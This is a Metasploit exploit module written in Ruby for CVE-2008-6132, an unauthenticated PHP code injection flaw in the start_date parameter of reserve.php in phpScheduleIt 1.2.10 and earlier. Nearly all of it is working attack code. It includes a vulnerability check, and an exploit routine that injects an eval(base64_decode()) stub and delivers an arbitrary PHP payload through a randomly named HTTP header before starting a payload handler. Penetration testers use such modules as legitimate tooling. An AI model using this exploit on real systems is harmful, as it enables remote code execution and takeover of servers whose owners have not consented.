126 lines
3.3 KiB
Ruby
126 lines
3.3 KiB
Ruby
##
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# $Id$
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##
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##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# Framework web site for more information on licensing and terms of use.
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# http://metasploit.com/framework/
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##
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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Rank = ExcellentRanking
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include Msf::Exploit::Remote::HttpClient
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'phpScheduleIt PHP reserve.php start_date Parameter Arbitrary Code Injection',
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'Description' => %q{
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This module exploits an arbitrary PHP code execution flaw in the phpScheduleIt
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software. This vulnerability is only exploitable when the magic_quotes_gpc PHP
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option is 'off'. Authentication is not required to exploit the bug.
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Version 1.2.10 and earlier of phpScheduleIt are affected.
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},
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'Author' =>
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[
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'EgiX', # Vulnerability Discovery and Exploit
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'juan vazquez' # Metasploit module
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],
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'License' => BSD_LICENSE,
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'Version' => '$Revision$',
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'References' =>
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[
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['CVE', '2008-6132'],
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['OSVDB', '48797'],
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['BID', '31520'],
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['URL', 'http://www.exploit-db.com/exploits/6646/'],
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],
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'Privileged' => false,
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'Platform' => ['php'],
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'Arch' => ARCH_PHP,
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'Payload' =>
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{
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# max header length for Apache,
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# http://httpd.apache.org/docs/2.2/mod/core.html#limitrequestfieldsize
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'Space' => 8190,
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'DisableNops' => true,
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'Keys' => ['php'],
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},
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'Targets' => [ ['Automatic', { }] ],
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'DefaultTarget' => 0,
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'DisclosureDate' => 'Oct 1 2008'))
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register_options(
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[
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OptString.new('URI', [ true, "The full URI path to phpScheduleIt", '/phpscheduleit']),
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], self.class)
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end
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def check
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signature = rand_text_alpha(rand(10)+10)
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stub = "1').${print('#{signature}')}.${die};#"
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my_payload = "btnSubmit=1&start_date=#{stub}"
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if datastore['URI'][-1, 1] == "/"
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uri = datastore['URI'] + "reserve.php"
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else
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uri = datastore['URI'] + "/reserve.php"
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end
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print_status("Checking uri #{uri}")
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response = send_request_cgi({
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'method' => "POST",
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'global' => true,
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'uri' => uri,
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'headers' => {
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'Referer' => uri,
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},
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'data' => "#{my_payload}"
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})
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if response.code == 200 and response.body =~ /#{signature}/
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return Exploit::CheckCode::Vulnerable
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end
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return Exploit::CheckCode::Safe
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end
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def exploit
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headername = "X-" + Rex::Text.rand_text_alpha_upper(rand(10)+10)
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stub = "1').${error_reporting(0)}.${eval(base64_decode($_SERVER[HTTP_#{headername.gsub("-", "_")}]))};#"
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my_payload = "btnSubmit=1&start_date=#{stub}"
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if datastore['URI'][-1, 1] == "/"
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uri = datastore['URI'] + "reserve.php"
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else
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uri = datastore['URI'] + "/reserve.php"
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end
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print_status("Sending request for: #{uri}")
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print_status("Payload embedded in header: #{headername}")
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response = send_request_cgi({
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'method' => "POST",
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'global' => true,
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'uri' => uri,
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'headers' => {
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headername => Rex::Text.encode_base64(payload.encoded),
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'Referer' => uri
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},
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'data' => "#{my_payload}"
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}, 3)
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if response and response.code != 200
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print_error("Server returned a non-200 status code: (#{response.code})")
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end
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handler
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end
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end
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